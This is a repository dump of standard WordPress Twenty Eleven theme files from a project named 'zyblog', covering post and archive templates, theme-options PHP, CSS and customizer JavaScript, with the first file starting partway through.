thumbnail, and if it's a big one if ( is_singular() && has_post_thumbnail( $post->ID ) && ( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), array( $header_image_width, $header_image_width ) ) ) && $image[1] >= $header_image_width ) : // Houston, we have a new header image! echo get_the_post_thumbnail( $post->ID, 'post-thumbnail' ); else : // Compatibility with versions of WordPress prior to 3.4. if ( function_exists( 'get_custom_header' ) ) { $header_image_width = get_custom_header()->width; $header_image_height = get_custom_header()->height; } else { $header_image_width = HEADER_IMAGE_WIDTH; $header_image_height = HEADER_IMAGE_HEIGHT; } ?> <img src="<?php header_image(); ?>" width="<?php echo $header_image_width; ?>" height="<?php echo $header_image_height; ?>" alt="" /> <?php endif; // end check for featured image or standard header ?> </a> <?php endif; // end check for removed header image ?> <?php // Has the text been hidden? if ( 'blank' == get_header_textcolor() ) : ?> <div class="only-search<?php if ( $header_image ) : ?> with-image<?php endif; ?>"> <?php get_search_form(); ?> </div> <?php else : ?> <?php get_search_form(); ?> <?php endif; ?> <nav id="access" role="navigation"> <h3 class="assistive-text"><?php _e( 'Main menu', 'twentyeleven' ); ?></h3> <?php /* Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff. */ ?> <div class="skip-link"><a class="assistive-text" href="#content" title="<?php esc_attr_e( 'Skip to primary content', 'twentyeleven' ); ?>"><?php _e( 'Skip to primary content', 'twentyeleven' ); ?></a></div> <div class="skip-link"><a class="assistive-text" href="#secondary" title="<?php esc_attr_e( 'Skip to secondary content', 'twentyeleven' ); ?>"><?php _e( 'Skip to secondary content', 'twentyeleven' ); ?></a></div> <?php /* Our navigation menu. If one isn't filled out, wp_nav_menu falls back to wp_page_menu. The menu assigned to the primary location is the one used. If one isn't assigned, the menu with the lowest ID is used. */ ?> <?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?> </nav><!-- #access --> </header><!-- #branding --> <div id="main">
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/header.php
PHP
asf20
5,589
<?php /** * The default template for displaying content * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <?php if ( is_sticky() ) : ?> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Featured', 'twentyeleven' ); ?></h3> </hgroup> <?php else : ?> <h1 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h1> <?php endif; ?> <?php if ( 'post' == get_post_type() ) : ?> <div class="entry-meta"> <?php twentyeleven_posted_on(); ?> </div><!-- .entry-meta --> <?php endif; ?> <?php if ( comments_open() && ! post_password_required() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?> </div> <?php endif; ?> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for Search ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php $show_sep = false; ?> <?php if ( is_object_in_taxonomy( get_post_type(), 'category' ) ) : // Hide category text when not supported ?> <?php /* translators: used between list items, there is a space after the comma */ $categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) ); if ( $categories_list ): ?> <span class="cat-links"> <?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list ); $show_sep = true; ?> </span> <?php endif; // End if categories ?> <?php endif; // End if is_object_in_taxonomy( get_post_type(), 'category' ) ?> <?php if ( is_object_in_taxonomy( get_post_type(), 'post_tag' ) ) : // Hide tag text when not supported ?> <?php /* translators: used between list items, there is a space after the comma */ $tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) ); if ( $tags_list ): if ( $show_sep ) : ?> <span class="sep"> | </span> <?php endif; // End if $show_sep ?> <span class="tag-links"> <?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); $show_sep = true; ?> </span> <?php endif; // End if $tags_list ?> <?php endif; // End if is_object_in_taxonomy( get_post_type(), 'post_tag' ) ?> <?php if ( comments_open() ) : ?> <?php if ( $show_sep ) : ?> <span class="sep"> | </span> <?php endif; // End if $show_sep ?> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; // End if comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content.php
PHP
asf20
3,952
<?php /** * The template for displaying posts in the Image Post Format on index and archive pages * * Learn more: http://codex.wordpress.org/Post_Formats * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class( 'indexed' ); ?>> <header class="entry-header"> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Image', 'twentyeleven' ); ?></h3> </hgroup> <?php if ( comments_open() && ! post_password_required() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( "Reply", 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?> </div> <?php endif; ?> </header><!-- .entry-header --> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <div class="entry-meta"> <?php printf( __( '<a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%4$s" title="%5$s" rel="author">%6$s</a></span></span>', 'twentyeleven' ), esc_url( get_permalink() ), get_the_date( 'c' ), get_the_date(), esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ), esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ), get_the_author() ); ?> </div><!-- .entry-meta --> <div class="entry-meta"> <?php /* translators: used between list items, there is a space after the comma */ $categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) ); if ( $categories_list ): ?> <span class="cat-links"> <?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list ); ?> </span> <?php endif; // End if categories ?> <?php /* translators: used between list items, there is a space after the comma */ $tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) ); if ( $tags_list ): ?> <span class="tag-links"> <?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?> </span> <?php endif; // End if $tags_list ?> <?php if ( comments_open() ) : ?> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; // End if comments_open() ?> </div><!-- .entry-meta --> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-image.php
PHP
asf20
3,455
<?php /** * The template for displaying Archive pages. * * Used to display archive-type pages if nothing more specific matches a query. * For example, puts together date-based pages if no date.php file exists. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <section id="primary"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="page-header"> <h1 class="page-title"> <?php if ( is_day() ) : ?> <?php printf( __( 'Daily Archives: %s', 'twentyeleven' ), '<span>' . get_the_date() . '</span>' ); ?> <?php elseif ( is_month() ) : ?> <?php printf( __( 'Monthly Archives: %s', 'twentyeleven' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyeleven' ) ) . '</span>' ); ?> <?php elseif ( is_year() ) : ?> <?php printf( __( 'Yearly Archives: %s', 'twentyeleven' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentyeleven' ) ) . '</span>' ); ?> <?php else : ?> <?php _e( 'Blog Archives', 'twentyeleven' ); ?> <?php endif; ?> </h1> </header> <?php twentyeleven_content_nav( 'nav-above' ); ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /* Include the Post-Format-specific template for the content. * If you want to overload this in a child theme then include a file * called content-___.php (where ___ is the Post Format name) and that will be used instead. */ get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentyeleven_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/archive.php
PHP
asf20
2,426
<?php /** * The template for displaying posts in the Status Post Format on index and archive pages * * Learn more: http://codex.wordpress.org/Post_Formats * * @package WordPress * @subpackage Twenty_Eleven */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Status', 'twentyeleven' ); ?></h3> </hgroup> <?php if ( comments_open() && ! post_password_required() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?> </div> <?php endif; ?> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for Search ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <div class="avatar"><?php echo get_avatar( get_the_author_meta( 'ID' ), apply_filters( 'twentyeleven_status_avatar', '65' ) ); ?></div> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php twentyeleven_posted_on(); ?> <?php if ( comments_open() ) : ?> <span class="sep"> | </span> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-status.php
PHP
asf20
2,226
#wpcontent select option { padding-right: 5px; } .image-radio-option td { padding-top: 15px; } .image-radio-option label { display: block; float: left; margin: 0 30px 20px 2px; position: relative; } .image-radio-option input { margin: 0 0 10px; } .image-radio-option span { display: block; width: 136px; } .image-radio-option img { margin: 0 0 0 -2px; } #link-color-example { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; border: 1px solid #dfdfdf; margin: 0 7px 0 3px; padding: 4px 14px; } body.rtl .image-radio-option label { float: right; margin: 0 2px 20px 30px; }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/inc/theme-options.css
CSS
asf20
615
( function( $ ){ wp.customize( 'blogname', function( value ) { value.bind( function( to ) { $( '#site-title a' ).html( to ); } ); } ); wp.customize( 'blogdescription', function( value ) { value.bind( function( to ) { $( '#site-description' ).html( to ); } ); } ); } )( jQuery );
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/inc/theme-customizer.js
JavaScript
asf20
296
<?php /** * Twenty Eleven Theme Options * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ /** * Properly enqueue styles and scripts for our theme options page. * * This function is attached to the admin_enqueue_scripts action hook. * * @since Twenty Eleven 1.0 * */ function twentyeleven_admin_enqueue_scripts( $hook_suffix ) { wp_enqueue_style( 'twentyeleven-theme-options', get_template_directory_uri() . '/inc/theme-options.css', false, '2011-04-28' ); wp_enqueue_script( 'twentyeleven-theme-options', get_template_directory_uri() . '/inc/theme-options.js', array( 'farbtastic' ), '2011-06-10' ); wp_enqueue_style( 'farbtastic' ); } add_action( 'admin_print_styles-appearance_page_theme_options', 'twentyeleven_admin_enqueue_scripts' ); /** * Register the form setting for our twentyeleven_options array. * * This function is attached to the admin_init action hook. * * This call to register_setting() registers a validation callback, twentyeleven_theme_options_validate(), * which is used when the option is saved, to ensure that our option values are complete, properly * formatted, and safe. * * @since Twenty Eleven 1.0 */ function twentyeleven_theme_options_init() { register_setting( 'twentyeleven_options', // Options group, see settings_fields() call in twentyeleven_theme_options_render_page() 'twentyeleven_theme_options', // Database option, see twentyeleven_get_theme_options() 'twentyeleven_theme_options_validate' // The sanitization callback, see twentyeleven_theme_options_validate() ); // Register our settings field group add_settings_section( 'general', // Unique identifier for the settings section '', // Section title (we don't want one) '__return_false', // Section callback (we don't want anything) 'theme_options' // Menu slug, used to uniquely identify the page; see twentyeleven_theme_options_add_page() ); // Register our individual settings fields add_settings_field( 'color_scheme', // Unique identifier for the field for this section __( 'Color Scheme', 'twentyeleven' ), // Setting field label 'twentyeleven_settings_field_color_scheme', // Function that renders the settings field 'theme_options', // Menu slug, used to uniquely identify the page; see twentyeleven_theme_options_add_page() 'general' // Settings section. Same as the first argument in the add_settings_section() above ); add_settings_field( 'link_color', __( 'Link Color', 'twentyeleven' ), 'twentyeleven_settings_field_link_color', 'theme_options', 'general' ); add_settings_field( 'layout', __( 'Default Layout', 'twentyeleven' ), 'twentyeleven_settings_field_layout', 'theme_options', 'general' ); } add_action( 'admin_init', 'twentyeleven_theme_options_init' ); /** * Change the capability required to save the 'twentyeleven_options' options group. * * @see twentyeleven_theme_options_init() First parameter to register_setting() is the name of the options group. * @see twentyeleven_theme_options_add_page() The edit_theme_options capability is used for viewing the page. * * By default, the options groups for all registered settings require the manage_options capability. * This filter is required to change our theme options page to edit_theme_options instead. * By default, only administrators have either of these capabilities, but the desire here is * to allow for finer-grained control for roles and users. * * @param string $capability The capability used for the page, which is manage_options by default. * @return string The capability to actually use. */ function twentyeleven_option_page_capability( $capability ) { return 'edit_theme_options'; } add_filter( 'option_page_capability_twentyeleven_options', 'twentyeleven_option_page_capability' ); /** * Add our theme options page to the admin menu, including some help documentation. * * This function is attached to the admin_menu action hook. * * @since Twenty Eleven 1.0 */ function twentyeleven_theme_options_add_page() { $theme_page = add_theme_page( __( 'Theme Options', 'twentyeleven' ), // Name of page __( 'Theme Options', 'twentyeleven' ), // Label in menu 'edit_theme_options', // Capability required 'theme_options', // Menu slug, used to uniquely identify the page 'twentyeleven_theme_options_render_page' // Function that renders the options page ); if ( ! $theme_page ) return; add_action( "load-$theme_page", 'twentyeleven_theme_options_help' ); } add_action( 'admin_menu', 'twentyeleven_theme_options_add_page' ); function twentyeleven_theme_options_help() { $help = '<p>' . __( 'Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:', 'twentyeleven' ) . '</p>' . '<ol>' . '<li>' . __( '<strong>Color Scheme</strong>: You can choose a color palette of "Light" (light background with dark text) or "Dark" (dark background with light text) for your site.', 'twentyeleven' ) . '</li>' . '<li>' . __( '<strong>Link Color</strong>: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the "Select a Color" button to pick from a color wheel.', 'twentyeleven' ) . '</li>' . '<li>' . __( '<strong>Default Layout</strong>: You can choose if you want your site&#8217;s default layout to have a sidebar on the left, the right, or not at all.', 'twentyeleven' ) . '</li>' . '</ol>' . '<p>' . __( 'Remember to click "Save Changes" to save any changes you have made to the theme options.', 'twentyeleven' ) . '</p>'; $sidebar = '<p><strong>' . __( 'For more information:', 'twentyeleven' ) . '</strong></p>' . '<p>' . __( '<a href="http://codex.wordpress.org/Appearance_Theme_Options_Screen" target="_blank">Documentation on Theme Options</a>', 'twentyeleven' ) . '</p>' . '<p>' . __( '<a href="http://wordpress.org/support/" target="_blank">Support Forums</a>', 'twentyeleven' ) . '</p>'; $screen = get_current_screen(); if ( method_exists( $screen, 'add_help_tab' ) ) { // WordPress 3.3 $screen->add_help_tab( array( 'title' => __( 'Overview', 'twentyeleven' ), 'id' => 'theme-options-help', 'content' => $help, ) ); $screen->set_help_sidebar( $sidebar ); } else { // WordPress 3.2 add_contextual_help( $screen, $help . $sidebar ); } } /** * Returns an array of color schemes registered for Twenty Eleven. * * @since Twenty Eleven 1.0 */ function twentyeleven_color_schemes() { $color_scheme_options = array( 'light' => array( 'value' => 'light', 'label' => __( 'Light', 'twentyeleven' ), 'thumbnail' => get_template_directory_uri() . '/inc/images/light.png', 'default_link_color' => '#1b8be0', ), 'dark' => array( 'value' => 'dark', 'label' => __( 'Dark', 'twentyeleven' ), 'thumbnail' => get_template_directory_uri() . '/inc/images/dark.png', 'default_link_color' => '#e4741f', ), ); return apply_filters( 'twentyeleven_color_schemes', $color_scheme_options ); } /** * Returns an array of layout options registered for Twenty Eleven. * * @since Twenty Eleven 1.0 */ function twentyeleven_layouts() { $layout_options = array( 'content-sidebar' => array( 'value' => 'content-sidebar', 'label' => __( 'Content on left', 'twentyeleven' ), 'thumbnail' => get_template_directory_uri() . '/inc/images/content-sidebar.png', ), 'sidebar-content' => array( 'value' => 'sidebar-content', 'label' => __( 'Content on right', 'twentyeleven' ), 'thumbnail' => get_template_directory_uri() . '/inc/images/sidebar-content.png', ), 'content' => array( 'value' => 'content', 'label' => __( 'One-column, no sidebar', 'twentyeleven' ), 'thumbnail' => get_template_directory_uri() . '/inc/images/content.png', ), ); return apply_filters( 'twentyeleven_layouts', $layout_options ); } /** * Returns the default options for Twenty Eleven. * * @since Twenty Eleven 1.0 */ function twentyeleven_get_default_theme_options() { $default_theme_options = array( 'color_scheme' => 'light', 'link_color' => twentyeleven_get_default_link_color( 'light' ), 'theme_layout' => 'content-sidebar', ); if ( is_rtl() ) $default_theme_options['theme_layout'] = 'sidebar-content'; return apply_filters( 'twentyeleven_default_theme_options', $default_theme_options ); } /** * Returns the default link color for Twenty Eleven, based on color scheme. * * @since Twenty Eleven 1.0 * * @param $string $color_scheme Color scheme. Defaults to the active color scheme. * @return $string Color. */ function twentyeleven_get_default_link_color( $color_scheme = null ) { if ( null === $color_scheme ) { $options = twentyeleven_get_theme_options(); $color_scheme = $options['color_scheme']; } $color_schemes = twentyeleven_color_schemes(); if ( ! isset( $color_schemes[ $color_scheme ] ) ) return false; return $color_schemes[ $color_scheme ]['default_link_color']; } /** * Returns the options array for Twenty Eleven. * * @since Twenty Eleven 1.0 */ function twentyeleven_get_theme_options() { return get_option( 'twentyeleven_theme_options', twentyeleven_get_default_theme_options() ); } /** * Renders the Color Scheme setting field. * * @since Twenty Eleven 1.3 */ function twentyeleven_settings_field_color_scheme() { $options = twentyeleven_get_theme_options(); foreach ( twentyeleven_color_schemes() as $scheme ) { ?> <div class="layout image-radio-option color-scheme"> <label class="description"> <input type="radio" name="twentyeleven_theme_options[color_scheme]" value="<?php echo esc_attr( $scheme['value'] ); ?>" <?php checked( $options['color_scheme'], $scheme['value'] ); ?> /> <input type="hidden" id="default-color-<?php echo esc_attr( $scheme['value'] ); ?>" value="<?php echo esc_attr( $scheme['default_link_color'] ); ?>" /> <span> <img src="<?php echo esc_url( $scheme['thumbnail'] ); ?>" width="136" height="122" alt="" /> <?php echo $scheme['label']; ?> </span> </label> </div> <?php } } /** * Renders the Link Color setting field. * * @since Twenty Eleven 1.3 */ function twentyeleven_settings_field_link_color() { $options = twentyeleven_get_theme_options(); ?> <input type="text" name="twentyeleven_theme_options[link_color]" id="link-color" value="<?php echo esc_attr( $options['link_color'] ); ?>" /> <a href="#" class="pickcolor hide-if-no-js" id="link-color-example"></a> <input type="button" class="pickcolor button hide-if-no-js" value="<?php esc_attr_e( 'Select a Color', 'twentyeleven' ); ?>" /> <div id="colorPickerDiv" style="z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;"></div> <br /> <span><?php printf( __( 'Default color: %s', 'twentyeleven' ), '<span id="default-color">' . twentyeleven_get_default_link_color( $options['color_scheme'] ) . '</span>' ); ?></span> <?php } /** * Renders the Layout setting field. * * @since Twenty Eleven 1.3 */ function twentyeleven_settings_field_layout() { $options = twentyeleven_get_theme_options(); foreach ( twentyeleven_layouts() as $layout ) { ?> <div class="layout image-radio-option theme-layout"> <label class="description"> <input type="radio" name="twentyeleven_theme_options[theme_layout]" value="<?php echo esc_attr( $layout['value'] ); ?>" <?php checked( $options['theme_layout'], $layout['value'] ); ?> /> <span> <img src="<?php echo esc_url( $layout['thumbnail'] ); ?>" width="136" height="122" alt="" /> <?php echo $layout['label']; ?> </span> </label> </div> <?php } } /** * Returns the options array for Twenty Eleven. * * @since Twenty Eleven 1.2 */ function twentyeleven_theme_options_render_page() { ?> <div class="wrap"> <?php screen_icon(); ?> <?php $theme_name = function_exists( 'wp_get_theme' ) ? wp_get_theme() : get_current_theme(); ?> <h2><?php printf( __( '%s Theme Options', 'twentyeleven' ), $theme_name ); ?></h2> <?php settings_errors(); ?> <form method="post" action="options.php"> <?php settings_fields( 'twentyeleven_options' ); do_settings_sections( 'theme_options' ); submit_button(); ?> </form> </div> <?php } /** * Sanitize and validate form input. Accepts an array, return a sanitized array. * * @see twentyeleven_theme_options_init() * @todo set up Reset Options action * * @since Twenty Eleven 1.0 */ function twentyeleven_theme_options_validate( $input ) { $output = $defaults = twentyeleven_get_default_theme_options(); // Color scheme must be in our array of color scheme options if ( isset( $input['color_scheme'] ) && array_key_exists( $input['color_scheme'], twentyeleven_color_schemes() ) ) $output['color_scheme'] = $input['color_scheme']; // Our defaults for the link color may have changed, based on the color scheme. $output['link_color'] = $defaults['link_color'] = twentyeleven_get_default_link_color( $output['color_scheme'] ); // Link color must be 3 or 6 hexadecimal characters if ( isset( $input['link_color'] ) && preg_match( '/^#?([a-f0-9]{3}){1,2}$/i', $input['link_color'] ) ) $output['link_color'] = '#' . strtolower( ltrim( $input['link_color'], '#' ) ); // Theme layout must be in our array of theme layout options if ( isset( $input['theme_layout'] ) && array_key_exists( $input['theme_layout'], twentyeleven_layouts() ) ) $output['theme_layout'] = $input['theme_layout']; return apply_filters( 'twentyeleven_theme_options_validate', $output, $input, $defaults ); } /** * Enqueue the styles for the current color scheme. * * @since Twenty Eleven 1.0 */ function twentyeleven_enqueue_color_scheme() { $options = twentyeleven_get_theme_options(); $color_scheme = $options['color_scheme']; if ( 'dark' == $color_scheme ) wp_enqueue_style( 'dark', get_template_directory_uri() . '/colors/dark.css', array(), null ); do_action( 'twentyeleven_enqueue_color_scheme', $color_scheme ); } add_action( 'wp_enqueue_scripts', 'twentyeleven_enqueue_color_scheme' ); /** * Add a style block to the theme for the current link color. * * This function is attached to the wp_head action hook. * * @since Twenty Eleven 1.0 */ function twentyeleven_print_link_color_style() { $options = twentyeleven_get_theme_options(); $link_color = $options['link_color']; $default_options = twentyeleven_get_default_theme_options(); // Don't do anything if the current link color is the default. if ( $default_options['link_color'] == $link_color ) return; ?> <style> /* Link color */ a, #site-title a:focus, #site-title a:hover, #site-title a:active, .entry-title a:hover, .entry-title a:focus, .entry-title a:active, .widget_twentyeleven_ephemera .comments-link a:hover, section.recent-posts .other-recent-posts a[rel="bookmark"]:hover, section.recent-posts .other-recent-posts .comments-link a:hover, .format-image footer.entry-meta a:hover, #site-generator a:hover { color: <?php echo $link_color; ?>; } section.recent-posts .other-recent-posts .comments-link a:hover { border-color: <?php echo $link_color; ?>; } article.feature-image.small .entry-summary p a:hover, .entry-header .comments-link a:hover, .entry-header .comments-link a:focus, .entry-header .comments-link a:active, .feature-slider a.active { background-color: <?php echo $link_color; ?>; } </style> <?php } add_action( 'wp_head', 'twentyeleven_print_link_color_style' ); /** * Adds Twenty Eleven layout classes to the array of body classes. * * @since Twenty Eleven 1.0 */ function twentyeleven_layout_classes( $existing_classes ) { $options = twentyeleven_get_theme_options(); $current_layout = $options['theme_layout']; if ( in_array( $current_layout, array( 'content-sidebar', 'sidebar-content' ) ) ) $classes = array( 'two-column' ); else $classes = array( 'one-column' ); if ( 'content-sidebar' == $current_layout ) $classes[] = 'right-sidebar'; elseif ( 'sidebar-content' == $current_layout ) $classes[] = 'left-sidebar'; else $classes[] = $current_layout; $classes = apply_filters( 'twentyeleven_layout_classes', $classes, $current_layout ); return array_merge( $existing_classes, $classes ); } add_filter( 'body_class', 'twentyeleven_layout_classes' ); /** * Implements Twenty Eleven theme options into Theme Customizer * * @param $wp_customize Theme Customizer object * @return void * * @since Twenty Eleven 1.3 */ function twentyeleven_customize_register( $wp_customize ) { $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $options = twentyeleven_get_theme_options(); $defaults = twentyeleven_get_default_theme_options(); $wp_customize->add_setting( 'twentyeleven_theme_options[color_scheme]', array( 'default' => $defaults['color_scheme'], 'type' => 'option', 'capability' => 'edit_theme_options', ) ); $schemes = twentyeleven_color_schemes(); $choices = array(); foreach ( $schemes as $scheme ) { $choices[ $scheme['value'] ] = $scheme['label']; } $wp_customize->add_control( 'twentyeleven_color_scheme', array( 'label' => __( 'Color Scheme', 'twentyeleven' ), 'section' => 'colors', 'settings' => 'twentyeleven_theme_options[color_scheme]', 'type' => 'radio', 'choices' => $choices, 'priority' => 5, ) ); // Link Color (added to Color Scheme section in Theme Customizer) $wp_customize->add_setting( 'twentyeleven_theme_options[link_color]', array( 'default' => twentyeleven_get_default_link_color( $options['color_scheme'] ), 'type' => 'option', 'sanitize_callback' => 'sanitize_hex_color', 'capability' => 'edit_theme_options', ) ); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'link_color', array( 'label' => __( 'Link Color', 'twentyeleven' ), 'section' => 'colors', 'settings' => 'twentyeleven_theme_options[link_color]', ) ) ); // Default Layout $wp_customize->add_section( 'twentyeleven_layout', array( 'title' => __( 'Layout', 'twentyeleven' ), 'priority' => 50, ) ); $wp_customize->add_setting( 'twentyeleven_theme_options[theme_layout]', array( 'type' => 'option', 'default' => $defaults['theme_layout'], 'sanitize_callback' => 'sanitize_key', ) ); $layouts = twentyeleven_layouts(); $choices = array(); foreach ( $layouts as $layout ) { $choices[$layout['value']] = $layout['label']; } $wp_customize->add_control( 'twentyeleven_theme_options[theme_layout]', array( 'section' => 'twentyeleven_layout', 'type' => 'radio', 'choices' => $choices, ) ); } add_action( 'customize_register', 'twentyeleven_customize_register' ); /** * Bind JS handlers to make Theme Customizer preview reload changes asynchronously. * Used with blogname and blogdescription. * * @since Twenty Eleven 1.3 */ function twentyeleven_customize_preview_js() { wp_enqueue_script( 'twentyeleven-customizer', get_template_directory_uri() . '/inc/theme-customizer.js', array( 'customize-preview' ), '20120523', true ); } add_action( 'customize_preview_init', 'twentyeleven_customize_preview_js' );
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/inc/theme-options.php
PHP
asf20
19,398
